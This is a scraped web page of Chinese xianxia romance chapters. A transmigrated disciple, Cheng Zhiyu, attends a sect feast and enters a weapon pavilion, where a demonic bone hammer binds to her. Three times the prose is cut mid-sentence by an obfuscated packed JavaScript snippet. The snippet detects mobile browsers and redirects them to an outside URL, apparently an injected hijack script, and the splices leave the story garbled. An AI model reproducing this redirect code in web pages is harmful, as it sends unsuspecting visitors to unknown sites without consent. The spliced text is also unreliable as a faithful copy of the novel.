“师兄,今后她便是我们的师妹了。” 萧风眠一直没看见躲在树后的程知鱼,听见傅逾白的话,顿时有些惊讶,他可是知道师傅在收下傅逾白后明确说不再收徒了。 看来这小姑娘身上当真有过人之处啊。 “知鱼……不对,小师妹。”萧风眠笑开了花,凑到程知鱼跟前,低声说道:“你这个二师兄平时嘴可毒了,要是他欺负你,你就跟师兄说,师兄帮你教训他。” 程知鱼听了感觉眼泪要掉下来,她眨巴着大眼睛看着萧风眠。 世上还是好人多啊。 傅逾白看着两人凑在一起不知在密谋些什么,轻哼一声:“师兄,师傅的寝殿没修好,那师傅住哪?” “师傅自然住罪魁祸首那。” 罪魁祸首? 程知鱼突然想起先前听到的师傅与淮南子的对话,原来真是他把师傅寝殿给炸了啊。 “对了,对了。”萧风眠突然兴致勃勃地说道:“不如今天由我下厨给你们做一顿如何?” “师兄你还会做饭啊?”这可把程知鱼彻底吓到了,在他的印象中,他们这些修仙之人不应该行辟谷之术吗? 傅逾白看穿了程知鱼眼里的困惑,微微扬起下巴,慢悠悠地开口道:“师兄别的不行,可做出来的美食可谓是青云宗数一数二的,甚至有‘厨子师兄’的名号呢。” “当真?” “千真万确!” 萧风眠骄傲地挺了挺胸铺,脸上的得意之色盖都盖不住。 “你可以把其他几位长老和弟子一起叫上,今天第一天,我们热热闹闹地过。” 14. 第 14 章 “师傅来吗?” “当然,师傅最馋我这一口了。”萧风眠摸了摸下巴,颇为得意地回答程知鱼。 “这倒是没说错,师傅他老人家想吃师兄都不轻易动手,你还真是运气好。” 傅逾白眉心舒展,心情看上去似乎不错,偏头看着程知鱼。 程知鱼撇了撇嘴,不去看他。 说什么我运气好,明明你自己也想吃。 萧风眠的目光在两人身上流转,暗暗低笑,出来“拉架”:“好了好了,你们负责去通知大家,再不快些就一个都别想吃了。” “是!师兄!”程知鱼一双圆眼弯成了一轮新月,笑意盈盈地答应下来。 “那……二师兄,我们走吧。” 程知鱼轻轻拽了一下傅逾白的袖子,力度明明不大,傅逾白却觉得心上好像被什么东西挠了似的,有些痒。 “你……” 傅逾白噎了一下,把袖子从程知鱼手中扯了出来,手一甩,就把程知鱼抛在了身后。 “女孩子家家的怎么动手动脚。” 傅逾白自言自语的话还是被程知鱼收入耳中,她看着越走越远的背影,只得小跑着追了上去。 “二师兄,我们要徒步走到其他长老的山峰去吗?” “说什么傻话,当然是御剑飞过去啊。” 傅逾白没好气地答道,脚步却不停,像是身后有什么妖魔鬼怪似的,又突然停下脚步,拧眉回头等着身后小跑而来的程知鱼。 程知鱼看着面前冷淡着脸的傅逾白,有些无奈,他这师兄怎么总是莫名其妙的不爽。 她记得方才不还是一副兴致高涨的样子吗?难道是因为刚才她拽了一下他的衣袖? 淅淅沥沥的小雨不知何时下了起来,顺着程知鱼的发丝滴落在地上,混合着泥土的潮湿腥味在空气中弥漫开来。 她举起手挡了挡,有些无济于事,干脆放下手朝傅逾白那边跑去。 “二师兄,我们找个地方避一避雨吧,这雨虽然不大,但淋久了也会生病的。” 程知鱼的声音有些急促,带着喘息声,她此时也顾不得傅逾白是不是有什么不能让人接触的毛病了,抓起他的手就往不远处的亭子跑。 “傻。” 傅逾白制止了程知鱼的举动,手腕一翻,一把纸伞便出现在他的手中。 他把纸伞递给程知鱼,示意她撑着,自己则召唤怜生准备御剑飞行。 细密的雨丝打湿了傅逾白发丝,有些凌乱地贴在他的额前,他却随意撩开,直勾勾地盯着远处飞来的怜生。 程知鱼觉得自己独占纸伞让傅逾白一个人淋雨实在有些不妥,不知为何她突然想起来小时候在福利院门前见到的一只被暴雨打湿的小狗,可怜巴巴地躲在车棚下面。 行吧。 程知鱼确实做不到看着眼前人独自淋雨,垫着脚凑到傅逾白身侧,将伞朝他那边倾斜。 她与傅逾白身高实在差得有些大,这纸伞也不知道是什么原材料做的,重得出奇,纸伞在她手中变得有些摇摇欲坠。 傅逾白施法召唤怜生,却忽然发现打在自己身上的细雨被纸伞挡去,他抬头看着晃动着的纸伞,眼底闪过一丝笑意,转头看着努力为他挡雨的程知鱼,眼角微弯。 傅逾白不笑还好,这一笑,程知鱼感觉迎面受到了颜值暴击,她不得不承认傅逾白确实生的一张得天独厚的脸,一双凤眼好似会摄人心魄一般,如果他不开口说话的话,程知鱼还是很乐意每天欣赏这样一张脸的。 可惜,怪就怪他为什么要长嘴…… 一把纸伞遮不住两人,程知鱼随傅逾白踏上怜生朝青霞仙子的山峰飞去,一路上风急雨大,程知鱼的半边衣裳被雨打湿了不少,反观傅逾白倒是干干净净的。 傅逾白也注意到了程知鱼的狼狈,微微垂下眼,接过程知鱼的伞,将大半的伞偏向了她。 “啧,这伞挡我的视线了。”他撑着伞又往程知鱼那边挪了挪,“你离我那么远干什么,我又不会吃了你。” 傅逾白拧着眉头瞪了一眼程知鱼,将她拉到自己身边,两人几乎是紧紧靠在了一起,傅逾白的体温透过衣裳传到了程知鱼的身上。 “还不是怕你这喜怒无常的性格……”程知鱼下意识将自己的心里话讲了出来,又欲盖弥彰地捂住了嘴。 死嘴,傅逾白不会直接把她扔下去吧? 程知鱼干笑了两声,脖子缩了缩,还是听话的待在傅逾白身边,不敢动作。 笑话,这要是被扔下去了,她还有命活着吗?这叫识时务者为俊杰。 两人就这样井水不犯河水地沉默着抵达了青霞仙子的缥缈峰。 “你们二人怎的来了我这?” 身后传来青霞仙子熟悉的声音,程知鱼转过头去便看见了青霞仙子谪仙般的美貌,还有一旁同样惊讶的姜拂雪。 “知鱼?” 姜拂雪本以为两人拜入不同师门,相隔甚远,日后想要见一面便难如登天了,却没想到才刚分别不久就又再见了。 “姜姐姐~” 程知鱼这下真深切体会到一日不见如隔三秋的滋味了,尤其是在傅逾白这个二师兄身边。 “二师叔,师兄说今日叫上大家一起吃一个团圆饭,也为新入门的师弟师妹们庆祝一番。” 傅逾白恭敬地抱拳,开门见山地将自己的来意说了出来。 “萧风眠?他亲自下厨的机会可不多啊,正好,你三师叔韵尘和你师傅也在这,便不用再多跑一趟了。” 玉如白随意拨弄了一下自己的长卷发,眼波流转间似是又想起什么,拉住傅逾白。 “淮南子带着新弟子下山去了,不用叫他了。” 话语间,韵山道人和玉清真人缓缓从众人身后走了出来。 “离风,韵尘,你们在屋子里磨蹭什么呢?” 玉如白不满地瞪着两人,哪怕生着气却依然带着一股媚劲。 程知鱼刚来第一天就已经把几位长老的俗名听了个遍,心里也有了些底。 这青云宗看来并不如外界传言那般严肃庄重,甚至可以说有些随意得过头了。 “没想到愠山道人的俗名竟如此……”程知鱼随意对着身侧的傅逾白搭话道。 “这有什么?淮南子的俗名还叫如花呢。” 程知鱼:? 果然是人不可貌相。 “好了好了,大家既然都到齐了,便一同出发前往玉虚峰,别让我的宝贝大徒儿累死了。” 玉清真人推着愠山道人朝前走去,嘴上不停地催促着大家。 “好了,别看了,我们也走吧。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093257|195530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >傅逾白黑眸闪动,嫌弃地弹了一下程知鱼的额头,再次召唤来了怜生。 “唔——” 程知鱼白皙的额头瞬间浮现出红痕,她揉了揉,不情不愿地跟在傅逾白身后踏上了长剑。 拽什么拽,以后我也不用靠你才能来去自如。 “等你以后有这个能力再说吧。” 傅逾白没看她,嘴角挂着一抹若有若无的笑,随意地开口道。 不是?你是有读心术吗? 程知鱼忍气吞声,过了一会,嫌站着累了,便在傅逾白脚边坐下,一双腿在剑身上晃呀晃。 “幼稚。” “哦。” 两人就这么有一搭没一搭地抵达了玉虚峰,没看见萧风眠的人影,却已经闻到了一股浓郁的菜香。 众人皆抵达了玉虚峰,闻到这股子香味,都免不了一阵感慨。 “你的徒弟真是捡到宝了。”玉如白伸手采了个红果,放在嘴里嚼着。 “大家都去帮忙,别想在这吃现成的。” 玉清真人笑着催促大家,自己跑得比谁都快。 大家跟在他身后笑骂,没一会就到了玉清真人专门为萧风眠开辟的一处大殿。 殿内随处可见各种食材,蔬菜瓜果应有尽有,殿内隐隐可见一道忙碌的身影, “师兄。”傅逾白走了进去,喊了一声。 “小白?你来了,快来帮我。” 萧风眠头没转,手却不停,在案板上揉搓着面团。 “师傅,我也去帮忙。” 姜拂雪眨眨眼,跟玉如白说了一声,便过去帮忙了。 见状,一直沉默的陆云峥也走了过去,只留程知鱼跟其他长老你看我我看你,尴尬地看地板。 其实程知鱼也想去帮忙,无奈先前在大学,自己租房住,偶有兴致自己做饭,不是着火就是炸锅,最后她自己认输,承认确实没有这个做饭的天赋。 但作为新弟子,怎能跟长老们一起坐在这里呢。 于是程知鱼选择去帮忙端盘子。 “砰——” 巨大的声响从陆云峥那边传来,程知鱼难免好奇,不看不知道,陆云峥拿着自己从来没出现过的大刀在切菜。 …… 虽然动静大了些,但不得不说这方法确实好用。 漆黑的刀柄被陆云峥握在手里,一颗翠绿的大白菜三下五除二就被削成片了。 还很有艺术天赋,切得很干净利落。 “知鱼也来啦,过来帮忙把做好的端出去吧。” 萧风眠注意到躲在门后面的程知鱼,朝她笑笑,白色的水蒸气氤氲了他的眉眼。 萧风眠的速度很快,一盘盘精致的菜品便上了桌,程知鱼看着就觉得像现代大厨所做的那样,还有各种各样的摆盘。 “师兄,你这些菜可有名字?” 程知鱼好奇地询问道,眼睛一动不动地盯着桌上的菜。 “那当然。”萧风眠仍是那副温雅模样,程知鱼却从这张脸上看出些自得。 她顺着萧风眠的手指处看去。 “这个叫天之饺子,这个是满门抄手,馒头苦干……” 程知鱼听懵了,看着眼前兴致勃勃介绍的人。 嗯……真不愧是师兄弟,连取名都如此同样别出心裁。 15. 第 15 章 日子像流水从指缝中溜走。 自那日众人在玉虚峰相聚之后,大家都开始各自忙活修炼的事宜,独独程知鱼一人见不到师尊,整日在不是在自己的寝殿里发呆,就是偶尔去藏书阁中翻阅一些杂书,找找有没有神器的下落。 “哎,这样的日子什么时候才是个头啊。”程知鱼把借来的书往脸上一扣,整个人如一条死鱼一般瘫在了床上。 倒也不是说这样无所事事的生活不惬意,如果她身上没有背负着血咒和不久之后的死期,她是非常愿意每天过着这种衣来伸手饭来张口的日子。 可...... 程知鱼掀开衣领,把头探进去,一朵血红的莲花印记赫然映入她的眼帘,如跗骨之疽深埋在雪白的肌肤之下。 “你!” 傅逾白刚推开程知鱼的房门,就看见她衣衫不整的模样,衣袍松松垮垮的搭在身上,纤细的肩膀半裸露着,虽还是个少女,却依稀能看出玲珑的曲线。 绯色瞬间爬上了他的脸颊,耳后也漫起红潮,慌乱转过身,长睫却止不住的颤动。 “你、你怎的如此随意。”傅逾白此刻感觉脑袋里只剩一团浆糊,他何时见过这般场景,连话都有些说不明白了。 程知鱼不明所以地看了看自己的衣服,又看了看背对着她的傅逾白,脑袋里缓缓打出一个问号。 这应该是她的寝殿没错吧? 她自己的寝殿就算光着身子应该也实属正常,但话又说回来,这修真界虽然民风已算十分开放,但这本小说毕竟还是以古代为背景,面前的少年也才十九岁的年纪...... 行吧。 程知鱼不紧不慢的整理着自己的衣领,光着脚下了床,走到傅逾白身后,轻轻拽了拽他的发带。 “二师兄?你来找我有什么事吗?" 程知鱼半弯着腰凑到傅逾白跟前,一双圆眼直勾勾地撞入傅逾白的视线,眼里藏着狡黠。圆润的鹅蛋脸带着几分红晕,浅浅的梨涡悄然浮现,像极了一只灵动的小鹿。 如此近的距离,傅逾白甚至能嗅到从程知鱼身上传来的淡淡的香气,像秋日的桂花混着阳光的味道。 等他反应过来自己在想什么之后,猛地后退了几步,直到后背撞上墙,才停下脚步。 "师兄?"程知鱼歪了歪头,想靠近傅逾白,却被他制止,只好在原地不解地看着他。 傅逾白深吸了一口气,将方才脑子里的东西全部抛出去,顿了顿才开口:“师傅让我来告诉你,明日青云宗将会为新收入的内门弟子开放武器阁,明日一早务必准时到达。” “武器阁?是由我们自行挑选吗?”程知鱼一听到此消息,哪能不激动。自从进入内门之后,就没有任何人告诉她之后的安排,她无时无刻不感觉脖颈间像有一条无形的绳索,不知道哪一天就会彻底勒紧。 “想什么呢?当然是由武器挑选你们。”傅逾白忽然低头笑了,眼尾微微上扬,唇色极淡,却莫名带着一种蛊惑人心的美感。 程知鱼眨了眨眼,唤回自己的思绪。 妖精,老天还真是格外偏爱他。 等等 程知鱼突然想起来正事。 由武器自行挑选主人,那如果没有一件兵器能看得上她的话...... “应该不会出现一件兵器都看不上主人的情况吧?”程知鱼底气不足地问傅逾白。 “目前青云宗的弟子还没有出现过这种情况,也说不准你是不是第一个。” 傅逾白瞥了她一眼,靠在墙上,随意逗着程知鱼,他也没真的认为程知鱼会落得一个这样的境况。 程知鱼倒是把这番话听了进去,作为一个炮灰女配,她还是很有自知之明的。 什么倒霉的事发生在她身上都不稀奇。 “行了行了,瞧你那副紧张的样子。”傅逾白抱着手倚在门边一脸嫌弃地看着程知鱼,"我傅逾白的师妹怎会没用到连器灵都看不上。“ ...... 那真是不好意思啊。 你这师妹确实没用到这个地步。 傅逾白无意间瞟到程知鱼光着脚站在冰凉的地砖上,眉头微蹙:“你还真是会给自己找病生,嫌自己不够虚弱是吧,今天是你最后清闲的日子了,往后你作为青云宗宗主的嫡传弟子,丢的可就不是你自己的脸面了。” 他冷哼一声,便甩手离开了程知鱼的寝殿,只留程知鱼一个人站在原地凌乱。 方才不还好好的吗? 难道这就是所谓的青春期吗? 程知鱼向来不为难自己,蹦蹦跳跳地回到了床上,这时候才有些后知后觉地感受到脚底发凉。 她将身子缩成一团,整个人窝进被子里,心满意足地跟周公约会去了。 傅逾白站在窗前,看着程知鱼像一只小猫似的,瘦小的身子紧紧裹住被子,将自己照顾的很妥帖,没忍住轻笑出声:“笨蛋。” “嘶——”傅逾白痛呼出声,低头看向手腕处,那根从他出生就一直佩戴着的红绳,此刻却像烈火一般灼烧着他。 他不知想到什么,眸色渐深,逐渐变得幽暗危险,他指尖轻动,月白色的灵力覆盖在手腕上,随后转身朝暗处走去。 * 第二天一早,程知鱼便收拾好自己,顶着大风在门外等着傅逾白。但没想到的是,玉清真人也同傅逾白一道来了。 她眼睛瞬间亮了起来,噔噔噔跑到了两人身边。 “师傅,这次之后,我是不是可以开始学习功法了?”程知鱼已经快大半月没见到他了,今日好不容易见到了,哪能不抓紧询问。 “小鱼儿可是着急了?”玉清真人笑着摸了摸程知鱼的发髻,像把玩什么新奇的玩意,有些爱不释手。 “师傅,再不过去两位师叔该着急了。”傅逾白看着两人在他面前上演起师徒情深,只好无奈地打断。 “对对对,玉如白发起火来还是很吓人的。”玉清真人点点头,不等程知鱼看清,三人就已经稳稳地站在了武器阁门口。 嗯? 这是什么仙术,竟能不依靠任何物体瞬间移动到此地。 傅逾白看出了程知鱼心中所想,叹了口气解释道:"此瞬移术依靠修为方能施展,让你平日多看看书,你都在看些什么?” 程知鱼心虚地不敢看他,谄媚地冲他笑:“师兄真是博学,那师兄如今的修为可能施展此等仙术?” “不能。” “哦。” 程知鱼边走边将自己随身携带的储物袋藏好,若是被傅逾白发现里面藏着的书都是些《霸道师尊爱上我》、《病娇师兄哪里逃》...... 不能再想下去了。 “知鱼!”不远处传来姜拂雪温柔的呼唤。 程知鱼立刻把师兄师傅抛到九霄云外去了,直直朝姜拂雪跑去。 跑到她身边,才发现陆云峥也在一旁,便主动朝他打了个招呼。 这么久没见到这人,程知鱼差点就忘记这本书还有个男主存在了。 陆云峥原本的小麦色皮肤好像又黑了少许,他挠了挠头,脸颊有些微红,眼睛却不敢看程知鱼。 看起来男主这段时间在愠山道人手上应该学到了不少东西,程知鱼不动声色地打量了一番,又收回了视线。 他如今的修为在这些新入门的弟子中当属最高了,真不愧是男主,连修行都是日行千里的水平。 思及此,程知鱼略带幽怨地看了看自己的师傅。 笨鸟不应该先飞吗?怎么连飞的机会都不给她留一个...... “你们几人记住,进入之后,切不可强行认主,这些兵器都有器灵,强行认主必遭反噬,轻则受伤,重则灵脉断裂,再无修行可能。” 一直沉默的愠山道人突然开口,皱着眉头看着程知鱼几人,语气里是藏不住的凝重。 “是!”程知鱼三人齐声应答道,也都敛了脸上的笑意。 “小鱼儿啊,你要是得不到认主也没事,就当进去参观一下。”玉清真人笑着对程知鱼嘱咐,像极了现代崇尚快乐教育的家长,脸上全无对程知鱼万一真取不到兵器的担忧。 “师傅……你就不能盼我点好。”程知鱼无奈地耸了耸肩,没再看他。 玉清真人摸了摸鼻尖,走到众人面前:“你们仅有一个时辰,如果在时间内没有取得,就必须要立刻出来,否则会激怒器灵,切记!切记!” 程知鱼心知这必不是什么轻松的差事,面上云淡风清,可手心的薄汗还是暴露了自己内心的紧张。 若无合适的武器防身,莫说找寻神器了,连基本的修行的难以进行下去。 这本书还真是一点活路都不愿意给她留。 “轰” 面前的石门在程知鱼眼前缓缓打开,无形的压迫感让她有些喘不上气,连双腿都有些隐隐打颤。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093258|195530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >程知鱼面前只有一条死路,无论如何她都不能失败,在这个世界她没有任何筹码,唯有以一条不知何时就会被夺走的命为自己搏出一条生路。 她深吸一口气,努力地挺直了脊背,扯出一抹笑:“走吧。” 姜拂雪和陆云峥二人朝她点了点头,也像是互相加油打气,一起踏入了幽暗的门内,霎那间三人便消失在了众人面前。 “草。” 程知鱼在进入石门的瞬间,整个人就像自由落体一般径直坠落到此处,重重地摔在了地上。 她缓了一会才从地上爬了起来,在储物袋中摸索了一番,终于找到了一个方形物体,马上将它掏了出来。 还好她先前总爱淘一些新奇的小玩意,没想到这琉璃灯能在这种时候派上用场。 她凝神注入了少许灵力,那灯不知是不是放置的时间太长了,忽明忽暗的。 对了,姜姐姐和陆云峥哪去了? 她心里咯噔一下,举着灯将四处照了个遍,也没见到两人的身影。 看来这地方有意将他们三人分开,可目的是什么呢? 算了, 总归师傅不会让他们在这里面出事,还是先忙正事要紧。 程知鱼一只手举着灯,身子紧紧靠着墙边慢慢地前进,一路上倒是看见了不少宝物。 这些兵器有灵,从程知鱼身侧掠过,却并未停下,许是看不上她。 可恶。 程知鱼在里面虽不知时间,却也能感知到时间已经过去了不少,她不断向前走,却没有一件兵器与她产生共鸣。 她突然看见一柄闪着寒光的长剑,在她靠近的瞬间发出嗡鸣,似是在呼唤着她的靠近。 程知鱼大喜过望,这么久终于有一件非凡品的兵器看上她了。 但她还是有些发怵,微微眯着眼想靠近看清楚些。还不等她凑近,一阵凛冽的剑气就直冲她的面门而来。 程知鱼虽看不清,但还是敏锐地感知到了危机,就地朝旁边一滚,那剑气擦着她的脸飞了出去。 程知鱼脸色沉了下来,眸中流露出些许怒气。 这剑分明在戏弄于她,引她靠近却又释放剑气意图加害她。 她手紧握成拳,压抑着自己的怒火。 越是这种时候就越不能心急,她不能在这里浪费时间。 程知鱼咬咬牙爬起来,刚才那下虽没有伤到她,但她躲避之时多多少少擦伤了,伤口上些许血迹已经逐渐凝固,却还是隐隐作痛。 她不是什么娇滴滴的小姐,这点伤口对她来说也没什么,但还是有些控制不住地红了眼眶。 “我就不信了。”程知鱼肩膀有些颤抖,平日里藏着笑意的眼睛也染上了几分不甘。 她再次向前走去,越往前越暗,手中的琉璃灯好像也有些撑不住了,几息之后终于是彻底熄灭,完成了自己最后的使命。 眼见手中的灯灭了,程知鱼只好将它塞进储物袋中,摸黑前进。 人对陌生的事物总是有恐惧,尤其是在伸手不见五指的黑暗当中,程知鱼也不例外。 程知鱼现在也明白为什么玉清真人让她放轻松了,这鬼地方真不是什么人都能呆得住的。 好在程知鱼小时候在孤儿院之时时常被关禁闭,这特殊的经历让她在黑暗之中也不至于乱了阵脚。 “吱吱” 程知鱼突然听见了类似于动物的叫声,在空旷的空间中不断回荡着,撞击着程知鱼本就紧绷的神经。 不会吧, 这种地方除了武器还有别的什么东西吗? 这时候程知鱼真有些害怕了,紧紧贴着石壁,双手护在胸前,抵御着不知何时会来的攻击。 可过了好一会,程知鱼还是毫发无伤,可那叫声却没有停下。 难道这东西并没有恶意吗? 程知鱼渐渐放松下来,小心地朝着声音的来处走去。 随着程知鱼的靠近,那叫声越发激动起来,像小狗见到自己的主人似的。 难道这是什么兵器的叫声吗? 程知鱼看不清,只能靠声音摸索着一点点前进。 她的脚下不知何时多出了一个东西,直接将她绊倒,她整个人飞了出去又狠狠摔在地上。 程知鱼没有丝毫防备,手脚直直撞在石壁上,鲜血逐渐溢出指缝,一下下滴在地面上。 她半跪在地上,倒吸着冷气:“什么东西!” 16. 第 16 章 还不等程知鱼反应过来,那东西仿佛有自己的意识一般轻轻蹭了蹭程知鱼的脚踝。 …… 一瞬间,程知鱼感觉浑身上下的汗毛都竖了起来。 冰凉的触感顺着她的脚踝直达大脑,像一条黏腻的巨蟒渐渐缠上了她的手腕。 程知鱼控制不住地发颤,忍着心中的不适,一点点挪动着手肘想要摆脱它。 可这玩意像吸血的水蛭一般,竟自己爬上了她的伤口处,吸食着从她伤口处滴落的血滴。 这怕不是什么魔器吧? 心中的恐惧一瞬间压过了她的理智,此时顾不得那么多,抬手就想将这邪气的东西甩出去。 可没想到这东西不仅甩不出去,反而狠狠地吸食了起来。 程知鱼彻底慌了,她能感觉自己的血液正从伤口处一点点流出然后被瞬间吸收。 因为失血加上恐惧的缘故,她的身体也在逐渐变得僵硬冰冷。 不能这样下去了,不然迟早会因为失血过多而死。 “可恶。”程知鱼低声骂了一句,抹了一把脸,下定了决心。 她从自己的储物袋中掏出来了那把她刚穿越到这个世界时击杀魔兽的刀。 小刀周身散发着淡淡的邪气,隐隐泄露出的魔气像烧红的木炭灼烧着程知鱼的伤口。 她看不见眼前的景象,只能凭借感觉摸索着找了一处地方靠墙坐下,手里紧紧握着那把小刀。 不知是不是因为这把小刀上魔气泄露的缘故,程知鱼隐隐感知到有越来越多法器的气息在朝着她这边逼近。 再这样下去不行,她不能在这种地方送命。 程知鱼握住了那正吸食她血液的东西,执刀的手狠狠落下。 “既然你不肯自己下去,那我就把这块肉彻底剜去。” “砰”,小刀在碰上那法器时却立刻被弹开,巨大的撞击将程知鱼的手臂震得发麻,小刀被她牢牢握在手中才没有被弹飞出去。 经此一击,那法器也不再继续吸食她的血液,像餍足的小兽一般再次亲昵地蹭了蹭她的手腕。 程知鱼心中直泛恶心,骤然间那法器突然爆发出一阵刺目的红光,又突然化作火焰般的光芒钻入程知鱼的额间消失不见。 程知鱼大惊,那法器瞬间便融入了她的骨血之中,她能感觉到此时丹田中像烈焰般燃烧着。 下一刻,那烈焰熊熊燃烧起来,像火蛇一般要吞噬她的五脏六腑。 程知鱼忍着剧痛,双指合拢,口中念着师傅嘱咐的咒语,强撑着离开了此地。 眼前忽地变亮,程知鱼长时间待在暗处一时不适应,下意识闭起了眼睛。 喉间涌上一阵腥甜,程知鱼没忍住哇的一声吐了出来。 “小鱼儿!”“程知鱼!” 耳边传来熟悉的呼喊声,程知鱼这才放心下来,看来她这是平安出来了。 她跪在地上,眼见就要晕过去,却突然投入一个温暖的怀抱中,淡淡薄荷味萦绕在她的鼻尖。 程知鱼撑开眼皮看着将自己搂在怀里的傅逾白,扯出了一抹笑:“师兄,我取得法器了……” 她感觉环在她腰间的手臂紧了紧,甚至能感受到傅逾白喷在她脖颈温热的气息。 “傻不傻,取个法器也能弄伤自己……不是说让你遇到危险就跑吗?” 傅逾白蹙着眉,一张脸黑得像旁人欠了他钱似的,嘴上说着手上却没有放开。 程知鱼模模糊糊感觉到一股暖流顺着她的脊背流入丹田,抚平了她身体的燥热。 “小鱼儿,我先替你平息丹田内的灼热之感,你跟着为师慢慢将灵力转化。” 玉清真人手掌抵在程知鱼的脊背,灵力顺着他的手传入程知鱼的体内。 程知鱼不敢耽搁,微微直起身子,缓缓调整自己的呼吸,引导灵力流入丹田。 渐渐的,她感觉体内灼热感越来越轻,也在玉清真人的治疗下恢复了些力气,从傅逾白的怀里慢慢坐了起来。 程知鱼吐出一股浊气,看着周围大家担忧的神色,不免有些惭愧。 她这幅孱弱的身体总是给大家添麻烦。 “小鱼儿,你究竟收了什么法器,竟能将你折磨成这幅模样。” 玉清真人收了灵力,有些好奇地询问道。 其实程知鱼自己也不知道到底是什么法器,方才在里面还没等她看清,那法器就一溜烟钻入她的体内了。 “这……”程知鱼为难地看向玉清真人。 玉清真人了然:“小鱼儿,你将意识潜入丹田,自然能召唤出法器。” 程知鱼点点头,闭上眼睛,感受着神识顺着筋脉沉入丹田。 火红的光芒在她的丹田处上下跳动,却在捕捉到程知鱼的神识后马上游了过来。 程知鱼猛地睁开眼睛,手中出现了一把沉甸甸的大锤。 这锤与普通的石锤不同,锤身由细长骨头锻造,冒着点点红光,有一种说不出的诡异之感。 “师傅,这不是……”傅逾白双眼微微睁大,长睫也颤动起来。 “嗯……怎么会出现在这。”玉清真人神情凝重,眸中闪过一丝诧异。 几位长老看见程知鱼手中的石锤,神色也瞬间凝重,像是看见了什么可怕的东西。 程知鱼有些不明所以,但看着众人的表情,结合她在里面的遭遇,大致也能猜测出这石锤并非凡物,甚至极有可能跟魔族有关。 “这是碎骨锤。” “碎骨锤?” 傅逾白眸底的情绪快速闪过,落在程知鱼身上带了些探究:“你可知这是何物?” 程知鱼诚实地摇摇头。 她的确不知,在看《择天》这本书时,她跳了好多内容,以至于到目前她都记不起更多有用的信息。 傅逾白微眯双眼,不知信了没信:“这是魔族的圣物,本来一直被封印在青云宗的地宫之中,可现如今却成为了你的法器。” 程知鱼鸡皮疙瘩瞬间被激起,后背发凉。 难道是因为她魔族圣女的身份才让这魔器冲破重重封印出现在这阁楼中吗? 完了…… 这下不是彻底坐实了她魔族中人的身份了吗? 程知鱼感觉空气逐渐稀薄,藏在袖中的手控制不住地颤抖。 在这些修真界众多高手之间死里逃生的几率有多大,程知鱼不用想都知道。 “也许这法器就是和小鱼儿有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093259|195530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缘吧。”玉清真人抚过程知鱼的长发,“魔器也不过是法器而已,最重要的还是看使用者是否有向善之心。” “说的也是。”玉如白撑着下巴,点点头,一动不动地看着紧闭的武器阁门。 “我的小徒弟怎么还不出来,时间就要到了。”她有些急,却不能自己进去帮姜拂雪。 程知鱼松了口气,心脏还是砰砰直跳,她后知后觉反应过来自己好像还在傅逾白怀中,连忙站了起来。 “干什么?我身上有毒吗?”傅逾白不满地瞥了她一眼,双手抱胸不再看她。 得,又生气了。 程知鱼有时候觉得她这个师兄简直像个炮仗,还是个受潮的炮仗,不知道什么时候就会突然爆炸。 她吸了一口气,认命地蹲了下来,弯了弯眉眼:“我是怕师兄受累了,没有嫌弃你的意思。” “你还敢嫌弃我?” “不敢不敢” 程知鱼连连摆手,双手撑着脸眨巴着大眼睛:“我这是心疼师兄。” 傅逾白哑声了,轻哼一声嘟嘟囔囔不知说了什么,耳尖覆上了一层薄红。 程知鱼像是寻到窍门,还想再逗两句,突然被武器阁石门的开合声打断。 “拂雪!”“云峥。” 愠山道人和玉如白一齐拥上前去,扶住了有些虚弱的两人。 “我没事,师傅。” 姜拂雪脸色有些苍白,但眼角的喜色却盖不住。 一起出来的陆云峥朝愠山道人施了一礼,眼神愈发坚毅。 两人都将自己取得的法器掏了出来。 陆云峥不出意外取得了一把上等法器,名曰:焚魔刀。 程知鱼倒是不意外,男主遇到的机缘基本上都是最好的,连本命法器也不例外。 倒是姜拂雪的法器有些出乎程知鱼的意料。 只见她的手中拿着一把乐器,不是那种看起来仙气飘飘的古琴,而是一把通体全黑的唢呐。 没错,就是唢呐。 程知鱼以为自己眼花了,她无论如何也没想到看起来如此清冷的姜拂雪,竟会与这种法器产生共鸣。 “不愧是我的徒弟,此乃断魂,是上等的法器,配得上我的徒儿。” 玉如白喜上眉梢,往日里眼神中的风情也被喜悦取代。 “看来我们的徒弟都不一般啊!”愠山道人爽朗的笑声传入程知鱼的耳中,她便朝那边看去。 陆云峥正在擦拭手中的大刀,宝贝的不得了,看了又看。 看来这把刀应该就是原书中所描述的陪陆云峥一路走向人生巅峰的那把宝刀了。 “好了诸位,从明日起,大家就要正式学习各类术法了,今天先回去好好休息。” 玉清真人笑着嘱咐大家,挥手示意大家离开后,便揽过傅逾白的肩:“小白啊,你可要好好帮助你的师妹,小鱼儿这么乖巧可爱,不准欺负她。” 